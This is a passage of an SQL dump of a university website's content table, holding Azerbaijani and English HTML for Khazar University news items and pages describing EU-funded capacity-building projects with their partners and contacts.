ali təhsil müəssisələri və digər özəl və dövlət\r\nqurumları ilə olan sıx əməkdaşlığı qonaqlar tərəfindən təqdirlə qarşılandı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Ziyarət\r\ngörüşünün sonunda Yunus Əmrə İnstitutunun fəaliyyətini və Xəzər Universiteti ilə\r\nəməkdaşlığını bütün tələbə və müəllim heyətinin diqqətinə çatdırmaq üçün növbəti\r\ntədris ilinin əvvəlində Yunus Əmrə İnstitutu təmsilçilərinin tələbə və müəllim\r\nheyəti ilə görüşü planlaşdırıldı.</p>'),(1733,797,'az','Previous Projects','Previous Projects','<p><strong><strong>Previous Erasmus Mundus Projects</strong>&nbsp;</strong></p><p><strong>Title: &nbsp;&nbsp;Erasmus Mundus Action 2 Partnerships</strong></p><p><strong>Duration:&nbsp;2007-2011&nbsp;</strong></p><p><strong>Discription:&nbsp;</strong>The ATEI of Thessaloniki has been coordinating two (2) Erasmus Mundus projects for S. Caucasus since 2007. The Erasmus Mundus Action 2 - LOT 6 (previously ECW LOT 5) project is addressed to Armenia, Georgia and Azerbaijan.</p><p><strong><strong>Main objectives:</strong>&nbsp;<br></strong></p><p>To give the opportunity for mobility to beneficiaries from all levels of higher education between Europe (EU) and South Caucasus (SC) and offer them contemporary training programmes, qualifications and experience,thus, contributing to their educational, managerial and cultural enhancement, as well as to the amelioration of their socioeconomic environment</p><p>To provide education, access to new technologies and support of every kind to disabled students, as well as to vulnerable groups&nbsp;&nbsp;<br></p><p>To enhance the international cooperation capacity and human resources development of the S. Caucasian partner Universities&nbsp;<br></p><p>To create sustainable educational, cultural and economic links among the Institutions and countries of Europe and S. Caucasus&nbsp;<br></p><p>To facilitate towards the development of entrepreneurship opportunities between the EU and SC private sector&nbsp;<br></p><p>To contribute to long term sustainable&nbsp;development in S. Caucasus and offer assistance towards the improvement of the local economies&nbsp;</p><p>Coordinator University:&nbsp;&nbsp;<strong><a href=\"http://www.teithe.gr/\">Alexander Technological Educational Institution of Thessaloniki</a></strong>&nbsp;</p>'),(2031,1233,'az','Julia Krajcarz Azərbaycan dili və ədəbiyyatı departamentinə kitab hədiyyə etdi','2016-cı il iyunun 24-də Xəzər Universitetində Azərbaycan dili və mədəniyyətini öyrənən polşalı sərbəst tədqiqatçı Julia Krajcarz Azərbaycan dili...','<p>2016-cı il\r\niyunun 24-də Xəzər Universitetində Azərbaycan dili və mədəniyyətini öyrənən\r\npolşalı sərbəst tədqiqatçı Julia Krajcarz Azərbaycan dili və ədəbiyyat\r\ndepartamentinə professor Ewa Siemieniec-Golasla birgə yazdığı “İstanbulun məscidləri” (<em>The Mosques of İstanbul</em>) adlı kitabını hədiyyə etdi. Kitabda məscidlərin\r\nyaranması tarixi, eləcə də, dini memarlıq abidələri haqqında biliklər öz əksini\r\ntapmışdır.</p>'),(1735,1076,'en',' Project Actors Capacity Training in Caucasus',' Project Actors Capacity Training in Caucasus','<div><p><strong><br></strong></p><p><strong>Project Actors Capacity Training in Caucasus</strong> </p><p><strong>Start Date:</strong>&nbsp;      &nbsp;2013&nbsp;&nbsp;<br></p><p><strong>Duration:</strong>        24 months  <br></p><p><br></p><p><strong>Brief information and main objectives:</strong>  <br></p><p><br></p><p>The main aim of the project is to successfully transfer existing knowledge funded by the EC for project developers to the Caucasus Region and contribute to capacity building in Caucasus universities.</p><p>Particularly:</p><ul><li>Develop tools to support project developers and applicants in the process of developing and managing projects with an international or European scope</li><li>Collect support tools for project developers, train project partners, young researchers, PhD students and young lecturers from AM, AZ and GE in project development and establish a Caucasus Interactive Resource Platform with adapted support tools.</li></ul>  </div><div><p><strong><strong><br></strong></strong></p><p><strong><strong>Coordinator and partners:</strong>&nbsp;&nbsp;</strong></p><p><strong>Project Coordinator:</strong></p><p>&nbsp;David Tvildiani Medical University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>&nbsp;</p><p>Fachhochschule Burgenland Ges.m.n.H., AT</p><p><a href=\"http://www.herold.at/gelbe-seiten/wien/QtmF6/die-berater%C2%AE-unternehmensberatungs-gmbh/\" target=\"_blank\">“ die Berater” Unternehemensberatung GmbH</a>, AT</p><p><a href=\"http://www.san.edu.pl/\" target=\"_blank\">Spoleczna Akademia Nauk</a>, PL</p><p><a href=\"http://studyindenmark.dk/study-options/danish-higher-education-institutions/university-colleges/university-college-capital/university-college-capital\" target=\"_blank\">University College Capital</a>, DK</p><p><a href=\"http://www.equnet.info/community/associated-partners/eucen-european-universities-continuing-education-network/\" target=\"_blank\">Eoropean University Continuing Education Network</a>, ES</p><p><a href=\"http://www.iliauni.edu.ge/index.php?sec_id=1&amp;lang_id=ENG\" target=\"_blank\">Ilia State University</a>, GE</p><p><a href=\"http://bsu.edu.az/en/\" target=\"_blank\">Baku State University</a>,AZ</p><p><a href=\"http://www.uga.edu/\" target=\"_blank\">University of Georgia</a>&nbsp;, GE</p><p><a href=\"http://www.tsu.edu.ge/\" target=\"_blank\">Ivana Javakhisvili Tbilisi State University</a>, GE</p><p><a href=\"http://www.khazar.org/s7850/\" target=\"_blank\">Khazar University</a>, AZ</p><p><a href=\"http://www.gu.edu.ge/eng\" target=\"_blank\">Gori State Teaching University</a>, GE</p><p><br></p><p><strong>Contact:</strong></p><p>Raziya Isayeva</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a>+994 (12) 421 79 16/ ext 207</p><p>+994 503487568&nbsp;</p></div>'),(3270,1926,'az','Xəzər Universitetində 4-cü Beynəlxalq Psixologiya Konfransı təşkil ediləcək','2017-ci il aprelin 22-si və 23-də Xəzər Universitetində ənənəvi Azərbaycan 4-cü Beynəlxalq...','<p>2017-ci il aprelin\r\n22-si və 23-də Xəzər Universitetində ənənəvi\r\nAzərbaycan 4-cü Beynəlxalq Psixologiya Konfransı təşkil ediləcək. Konfransa\r\nOman Universitetindən Pr. Dr. Ali Kemal Tekin, Hasan Kalyoncu Universitetindən\r\nPr.Dr.Yaşar Özbay, İstanbul Bilgi Universitetindən Doç.Dr. Ayten Zara, Doç. Dr.\r\nBurhanettin Kaya, Moskva Pedaqoji Universitetindən dosent Darya Qafarzadə məruzəçi\r\nqonaqlar olaraq dəvət edilmişlər.</p>\r\n<p>Qeydiyyatdan keçmək üçün bu linkə daxil olmaq\r\nlazımdır:</p>\r\n<p><a href=\"https://goo.gl/forms/zLhCPXg7YXMTAyyu1\">https://goo.gl/forms/zLhCPXg7YXMTAyyu1</a>.</p>'),(1736,1077,'en','Strengthening the Specific Role of Universities as LLL Institutions','Strengthening the Specific Role of Universities as LLL Institutions','<div><div><p><strong><strong><strong><strong><br></strong></strong></strong></strong></p><p><strong><strong><strong><strong>Strengthening the Specific Role of Universities as LLL Institutions</strong>&nbsp;  <br></strong></strong></strong></p><p><strong><strong><strong>Start Date:</strong>&nbsp; 2013&nbsp;  <br></strong></strong></p><p><strong><strong>Duration:</strong>&nbsp; 24 months  <br></strong></p><p><strong><br></strong></p><p><strong>Brief information and main objectives:</strong>  <br></p><p>SSRULLI project aims at strengthening capacities for University Lifelong Learning in Countries of the South Caucasus</p><p>Particularly:</p><ul><li>Benchmarking potentials and development of institutional recommendations for boosting the role of PUs as LLL institutions.</li><li>Strengthening of strategic, infrastructural and human capacities in 9 partner universities as a model for the development and implementation of management of ULLL</li><li>Develop regional network as a platform for regular dialogue and information exchange on ULLL challenges and opportunities in the region</li></ul></div><div><p><strong><strong>Coordinator and partners:</strong>&nbsp;  <br></strong></p><p><strong>Project Coordinator:</strong></p><p>&nbsp;</p><p>Ivana Javakhisvili Tbilisi State University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>Karl-Franzens&nbsp;–University Graz (University of Graz), AT</p><p>Tallinn University, EE</p><p>Apollon&nbsp;Kutateladze Tbilisi State Academy of Arts, GE</p><p>Caucasus&nbsp;International university, GE</p><p>Batumu&nbsp;State Maritime Academy, GE</p><p>BatumuShota Rustavelli State University, GE</p><p>Khazar&nbsp;University, AZ</p><p>Qafqaz&nbsp;University, AZ</p><p>Adult Education Association of Georgia, GE</p><p>Institute for Int Cooperation of the German Adult Educ. Assoc., GE</p><p>Adult Education Association of Azerbaijan, Az</p><p>Universitat Hamburg, DE</p><p><strong><br></strong></p><p><strong>Contact:</strong>&nbsp;</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a>+994 (12) 421 79 16/ ext 207</p><p>+994 503487568</p><p><br></p><p><strong>Project website:</strong>&nbsp;</p><p><a href=\"http://www.unimig.tsu.edu.ge/\">http://www.unimig.tsu.edu.ge/</a></p></div></div>'),(1737,1078,'en','Curriculum Development and Capacity Building in the field of EU studies','Curriculum Development and Capacity Building in the field of EU studies','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Curriculum Development and Capacity Building in the field of EU studies</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Start date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      October 2012  </span><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      36 months  </span><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Brief information and main objectives:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p>The project on Curriculum Development and Capacity Building in EU studies (CURDEUS) aims to enhance knowledge of EU studies and promotes European dimensions of quality of education and facilitate networking between universities in the EU and Azerbaijan.</p><p>&nbsp;The project specifically aims to:</p><p>- Update the existing curriculum and establish a new curriculum in the field of EU studies in accordance with European standards;</p><p>- Develop or build teachers’ professional capacity in the field of EU Studies;</p><p>- Establish a permanent EU studies Center in Azerbaijan (at Khazar University), which will function as a resource center and think tank in this field ;</p><p>- Develop double and/or joint degree programmes in EU studies with interested institutions.</p><p>In accordance with these objectives, the main objectives, the main outcomes of the project will be as follows:</p><p>a) A new and/or harmonized curriculum in European Studies in line with European standards;</p><p>b) Increased capacity (trained professional academic staff, availability of high quality teaching materials and other resources) in the field of European Studies in Azerbaijan;</p><p>c) A European Studies Center in Azerbaijan which will ensure the sustainability of the project;</p><p>d) Develop joint degree programs in EU studies between Azerbaijani universities already offering course on the EU (Khazar University and Baku State University and European Universities having already an expertise and well established programmes&nbsp; in this field (Leiden University, the University of Lodz, the University of Lusaphone and the University of Genoa)</p>e)&nbsp;This programme will facilitate further cooperation between all involved universities and contribute to the sustainability and dissemination of project results.  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Coordinator and partners:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p><strong>Project Coordinator:</strong></p><p><a href=\"http://www.khazar.org/v1021/\">Khazar University&nbsp;</a>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.leiden.edu/\">Leiden University</a></p><p>Academy of Management in Lodz</p><p>The Lusophone University of Humanities and Technology</p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p><a href=\"http://www.edu.gov.az/\">The Ministry of Education of Azerbaijan Republic</a></p><p><a href=\"http://www.gsu.az/\">Ganja State University</a></p><p><a href=\"http://www.ndu.edu.az/\">Nakhchivan State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.bsu-edu.org/\">Baku Slavic University</a></p><p><a href=\"http://www.au.edu.az/\">Azerbaijan University</a></p>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Contact:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Baba Bayramli</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"mailto:bbayramli@khazar.org\">bbayramli@khazar.org</a></p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">+994 (12) 421 79 16/ ext 238</span>  <br></div>'),(1738,1079,'en',' Migration and Higher Education: Developing Skills and Capacity',' Migration and Higher Education: Developing Skills and Capacity','<div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p><strong><br></strong></p><p><strong><strong>UNIMIG - Migration and Higher Education: Developing Skills and Capacity</strong>&nbsp;  <br></strong></p><p><strong><strong>Start Date:</strong>&nbsp;      October 15, 2012   <br></strong></p><p><strong>Duration:</strong>&nbsp;      36 months   <br></p><p><br></p><p><strong>Brief information and main objectives:</strong>  <br></p><p><br></p><p>The aim of the project is to transfer skills and competences in the interdisciplinary field of migration studies in the European Neighborhood Partnership Instrument East region, specifically in Armenia, Azerbaijan and Georgia.</p><p>&nbsp;The specific objectives are:&nbsp;</p><ul><li>To develop, accredit and implement a basic curriculum for a Master Program in Migration Studies with a regional dimension in line with the Bologna requirements at Yerevan State University and Russian-Armenian University, Armenia; Khazar University and Qafqaz University, Azerbaijan; Ivane Javakhishvili Tbilisi State University and Georgia Institute for Public Affairs, Georgia.</li><li>To establish national Migration Competence Centers (MCC) at Tbilisi State University, Yerevan State University and Khazar University that will serve as interfaces among universities, research and public institutions, governments and the public. &nbsp;&nbsp;</li></ul><p>The Regional Online Platform on Migration, maintained and updated by the MCCs, is another important project output. It will support master students by providing relevant literature and data for research purposes and the setup of an e-Learning component. It will be widely used to disseminate the curriculum, publications, and statistical data produced by the MCCs, making all materials accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society).</p><p>International Organization for Migration (IOM) Azerbaijan is participating in the project, primarily contributing to the development and implementation of the master’s programs in migration studies and MCCs. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p>The Ministry of Education of Azerbaijan will support the accreditation procedures in Azerbaijan and participate in capacity building activities for curriculum development in line with Bologna standards with support of EU partners.&nbsp;</p><p><br></p><p><strong>Coordinator and partners:</strong>  <br></p><p><strong>Coordinator:</strong>  <br></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Partners:</strong></p><p><strong></strong><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><a href=\"http://www.iliauni.edu.ge/\"></a><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p><a href=\"http://www.qu.edu.az/\"></a><a href=\"http://www.khazar.org/v1023/\">Khazar University</a></p><p><a href=\"http://www.khazar.org/v1023/\"></a><a href=\"http://www.gipa.ge/\">Georgian Institute of Public Affairs</a>&nbsp;</p><p><a href=\"http://www.uni-graz.at/\">Karl-Franzens University of Graz</a></p><p><a href=\"http://www.uni-graz.at/\"></a><a href=\"http://www.ulb.ac.be/\">Free University Brussels</a></p><p><a href=\"http://www.ulb.ac.be/\"></a><a href=\"http://www.uni-oldenburg.de/en/\">Carl von Ossietzky University Oldenburg</a></p><p><a href=\"http://www.uni-oldenburg.de/en/\"></a><a href=\"http://www.ua.es/\">University of Alicante</a></p><p><a href=\"http://www.ua.es/\"></a><a href=\"http://www.wus-austria.org/\">World University Service- Austrian Committee</a></p><p><a href=\"http://www.wus-austria.org/\"></a><a href=\"http://www.mta.gov.am/\">State Migration Service of the Ministry of Territorial Administration of Republic of Armenia</a></p><p><a href=\"http://www.mta.gov.am/\"></a><a href=\"http://www.edu.gov.az/\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.edu.gov.az/\"></a><a href=\"http://www.iom.int/\">International Organization for Migration (IOM)</a></p><p><strong><br></strong></p><p><a href=\"http://www.iom.int/\"></a><strong>Contact:</strong></p><p><strong></strong>Leyla Niyazova, Project Coordinator and Director of Khazar University Migration Competence Center</p><p><a href=\"mailto:lniyazova@khazar.org\">lniyazova@khazar.org</a></p><p><a href=\"mailto:lniyazova@khazar.org\"></a>+994 012 421 7916 ext. 234</p><p><strong><br></strong></p><p><strong>Project website:</strong></p><p><strong></strong><a href=\"http://www.unimig.tsu.edu.ge/\">http://www.unimig.tsu.edu.ge/</a></p></div>'),(3268,1900,'en','Gasham Zeynalov meets with KAPPA director','On February 17, 2017, Gasham Zeynalov, Head of Khazar University Department of Petroleum Engineering and director of eLink research and development center, met with...','<p>On February 17, 2017, Gasham\r\nZeynalov, Head of Khazar University Department of Petroleum Engineering and\r\ndirector of eLink research and development center, met with Alexander\r\nGoncharov, Director of the CIS branch of KAPPA. During the meeting, the possibility\r\nof endowing Khazar University with software programs for fluid dynamics,\r\ngeophysics, oil production analysis and other complex modules was discussed.\r\nAlexander Goncharev informed the meeting of his upcoming visit to Baku together\r\nwith Olivier Houze, General Manager of KAPPA, at the end of March to discuss\r\nthe details of this endowment plan. &nbsp;&nbsp;</p>'),(3269,1925,'az','Karyera Mərkəzinin koordinatoru Fransız İnstitutunun nümayəndəsi ilə görüşdü','2017-ci il fevralın 21-də Xəzər Universitetinin Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova Fransız İnstitutunun nümayəndəsi xanım Jervez Mate ilə görüş keçirdi...','<p>2017-ci\r\nil fevralın 21-də Xəzər Universitetinin Karyera Mərkəzinin koordinatoru Ülviyyə\r\nHüseynova Fransız İnstitutunun nümayəndəsi xanım Jervez Mate ilə görüş keçirdi.\r\nGörüşün məqsədi Fransız İnstitutunun apreldə\r\nkeçirəcəyi festival xarakterli tədbirlərdə Xəzər Universitetinin fransızdilli tələbələri\r\nvə könüllülər ilə birlikdə əməkdaşlıq etmək idi. Bir ay ərzində keçiriləcək tədbirdə\r\ntələbələrin cəlbini və əməkdaşlıq imkanlarını genişləndirmək üçün universitetlə\r\nəməkdaşlıq edərək, gələcəkdə Fransada&nbsp;bu kimi tədbirlərdə həmin tələbələrin\r\niştirakını təmin etmək haqqında müzakirələr keçirildi.&nbsp;</p>'),(1739,1080,'en','Development of Training Network for Improving Education in Energy Efficiency','Development of Training Network for Improving Education in Energy Efficiency','<div><br></div><div><strong>Development of Training Network for Improving Education in Energy Efficiency</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      October 2012  </span><br></div><div><br></div><div><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      36 months  </span><br></div><div><br></div><div><br></div><div><br></div><div><strong>Brief information and main objectives:</strong>  <br></div><div><br></div><div><br></div><div><p>This proposal aims to prioritize: modernization of curricula with 3 cycle structure, ETCS and degree recognition in the Teacher training and education science in Physical science (BY), engineering and engineering trades (Belarus, Azerbaijan, Kosovo). The project involves higher education institutions from Latvia, Estonia, Lithuania, Poland and Belgium as well as from such partner countries: Belarus, Kosovo and Azerbaijan. Development of the curricular reform in Engineering and Engineering trades are highlighted as a priority in all partner countries.&nbsp;&nbsp;</p><p>The wider objective is to enhance networking among higher education institutions across the partner countries and EU member states for improving the education in the field of the energy efficiency enhancement , energy saving and use of renewable sources of energy.</p><p>The project aims such specific objectives:</p><ol><li>To enhance the quality and relevance of higher education in the partner countries by bringing together education excellence and best practice in the field of the energy efficiency enhancement, energy saving and use of renewable sources of energy field (declared field) on the base of creation/ modernization of study programs ;</li><li>To&nbsp; make compatible/unified curricula for improving the education and expertise of target groups (students/ master students/ and academic/teacher staff ) in the declared field;</li><li>To confirm teaching/learning approaches (lectures, practice classes, didactic materials etc) and tools (equipment, hardware/software, user, methodological guides, manuals etc.) for improving the target groups education and expertise</li><li>To create electronic libraries by directions(enhancement of energy efficiency, energy saving, energy effective materials, use of renewable sources).</li></ol>Realization of the project &nbsp;&nbsp;will allow creating Joint Educational Platform as a system of developed/improved compatible education tools and didactic materials needed to transfer experience of EU Universities to Partner Countries\' Universities.<br></div><div><br></div><div><br></div><div><br></div><div><strong>Coordinator and partners:</strong>  <br></div><div><br></div><div><p><strong>Coordinator:</strong></p><p><a href=\"http://www.rtu.lv/\">Riga Technical University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.ttu.ee/en\">Tallinn University of Technology</a></p><p><a href=\"http://www.vu.lt/en\">Vilnius University</a></p><p><a href=\"http://www.pollub.pl/\">Lublin University of Technology</a></p><p><a href=\"http://www.tu.koszalin.pl/\">Politechnika Koszalinska</a></p><p><a href=\"http://www.khbo.be/\">Katholieke Hogeschool Brugge-Oostende</a></p><p><a href=\"http://www.ugal.ro/\">“Dunarea de Jos” University of Galati</a></p><p>University Mitrovica</p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p>National Aviation Academy of Azerbaijan</p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bntu.by/\">Belarusian National Technical University</a></p><p><a href=\"http://www.batu.edu.by/\">Belarusian State Agrarian Technical University</a></p><p><a href=\"http://www.khazar.org/s1022/\">Khazar University</a></p>  <br></div><div><br></div><div><br></div><div><strong>Contact:</strong>  <br></div><div><br></div><div><p>Prof. Hasan Niknafs, Dean of the School of Engineering and Applied Sciences</p><p><a href=\"mailto:sazakov@khazar.org\">hniknafs@khazar.org</a>&nbsp;</p><p>+994 012 421 79 16 ext. 251</p>  <br></div><div><br></div><div><br></div>'),(1740,1081,'en','Student Support and Development Services','Student Support and Development Services','<div><br></div><div><strong>Student Support and Development Services</strong>  <br></div><div><br></div><div><br></div><div><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      October, 2012  </span><br></div><div><br></div><div><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      24 months  </span><br></div><div><br></div><div><br></div><div><br></div><div><strong>Brief information and main objectives:</strong>  <br></div><div><br></div><div><p>The project aims to establish in target Higher Education Institutions (HEIs) from Georgia, Kazakhstan, Kirgizstan, Azerbaijan, Israel advanced and up-dated services to students and alumni according to the best European practices, able to meet the challenges of a globalised world. This objective will be achieved by enhancing human resource capacity and infrastructures.</p><p>After an analysis of the needs and constrains, 30 staff members of partner countries (PC) universities will travel to the European Union for a two- week study visits in order to share experience and know- how for planning and administering services support for Career planning, Student Life Services, Academic guidance, and Orientation, Mentoring and mobility.&nbsp; The competence acquired will be discussed and disseminated in the countries in order to design an Action Plan and start the pilot organization of services in&nbsp; each target university. &nbsp;After the six month pilot stage, All Higher Education Institutions (HEIs) will share the results&nbsp; and present case studies for the identification of the models that best fit with the organizational and decisional local situation. Training &nbsp;sessions and additional workshops &nbsp;will be organized by the EU representatives to assist PC universities in designing and proposing strategic plans and future development of Student Support and Development Services. (SSDS)&nbsp;</p>The project will also develop a website that will not only be used by the partnership for the project results development and assessment, but will also offer, in local languages and in English, all the documents, as student surveys methodology tools, reports, training materials, handbooks and case studies for a wide dissemination of project aims and the results and the involvement of students, relevant stakeholders from all the countries involved. The project evaluation and the direct involvement of student s will provide the opportunity for a better focus on the Action Plan, develop the quality culture and put the basis for a continuous international cooperation for the up-date and improvement &nbsp;of the strategy and methodology and the start-up of further future activities.  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong>Coordinator and partners:</strong>  <br></div><div><br></div><div><p><strong>Coordinator:</strong></p><p><a href=\"http://www.univaq.it/\">Universita’ Degli Studi Dell’Aqulia</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.mdx.ac.uk/\">Middlesex University</a></p><p>Fondazione dell’ Universiteta degli Studi</p><p><a href=\"http://www.bsu.edu.az/\">Baku State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.khazar.org/v1019/\">Khazar University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a></p><p><a href=\"http://www.bsu.edu.ge/\">Shota Rustaveli University&nbsp;</a>&nbsp; &nbsp;</p><p><a href=\"http://www.atsu.edu.ge/\">Akaki Tsereteli State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University&nbsp;</a>&nbsp;</p><p>Issykkul State University named after Kasym Tynystanov</p><p>Talas State University</p><p>Kyrgyz State Technical University named after I. R. Azzakov</p><p>Kazakh National Agrarian University</p><p>West Kazakhstan Agrarian Technical University</p><p>Akhmet Baitursynov Kostanay State University</p><p><a href=\"https://www.msu.edu/\">Students Alliance of Kazakhstan</a></p><p><a href=\"http://www.sapir.ac.il/\">Sapir Academic College&nbsp;</a></p><p><a href=\"http://www.bgu.ac.il/\">Ben Gurion University of the Negev&nbsp;</a>&nbsp;</p><p><a href=\"http://www.sapir.ac.il/\">SAPIR’s student unions&nbsp;</a>&nbsp;</p><p>Public Association “Managers of New Generation”</p><p><a href=\"http://www.atgti.az/en/\">Azerbaijan Student Youth Organizations’ Union&nbsp;</a>&nbsp;</p><p><a href=\"http://www.tlu.ee/\">Tallina Ülikool&nbsp;</a>&nbsp;</p><p><a href=\"http://www.usv.ro/\">“Stefan cel Mare” University of Suceava&nbsp;</a>&nbsp;</p>  <br></div><div><br></div><div><br></div><div><strong>Contact:</strong>  <br></div><div><br></div><div><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>Raziya Isayeva,</p><p>&nbsp;Development Director</p>+994 (12) 421 79 16/ ext 207  <br></div><div><br></div><div><br></div>'),(1741,1082,'en','Documentation for Quality Assurance of Study Programmes','Documentation for Quality Assurance of Study Programmes','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Documentation for Quality Assurance of Study Programmes</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      November 15, 2011  </span><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      36 months  </span><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Brief information and main objectives:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p>A clear documentation of learning objectives, educational process, learning context, learning outcomes and management system is an essential and necessary aspect of the Quality Assurance (QA) of Study Programmes (SPs).</p><p>The project aims to define and to implement an online documentation system for the QA of SPs in the Partner Countries (PCs), consistent with the European Standards and Guidelines for QA. This aim is pursued through the cooperation of all the project partners, national authorities included.</p><p>A primary outcome of the project is the identification of information and data for QA of SPs in PCs. To this end, national standards for QA, or “quality requirements,” of SPs are identified and analyzed, also in order to verify and promote their compliance with the European Standards and Guidelines.</p><p>Information and data associated with each quality requirement and related management processes necessary to “measure” the quality of SPs are identified; procedures for their collection and documentation are defined. Then the needed university facilities for the collection and documentation of the identified information and data are organized and the software for their online management is designed and produced.</p><p>Implementation of procedures, facilities and software constitute the final outcome and output of the project.</p><p>Dissemination is primarily aimed at informing and involving all the Higher Education Institutions of the PCs of the project objectives, activities &amp; results, and is based on the following 2 main actions:</p><p>i) dissemination through Internet and distribution of material on the project activities and results;</p>ii) organization of events on the project activities and results.  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Coordinator and partners:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p><strong>Coordinator:</strong></p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p>&nbsp;</p><p>28 partners from 8 countries are involved in the DoQuP project.</p><p><strong>Partners:</strong></p><p><strong>Azerbaijan</strong></p><p><a href=\"http://bsu.edu.az/\">Baku State 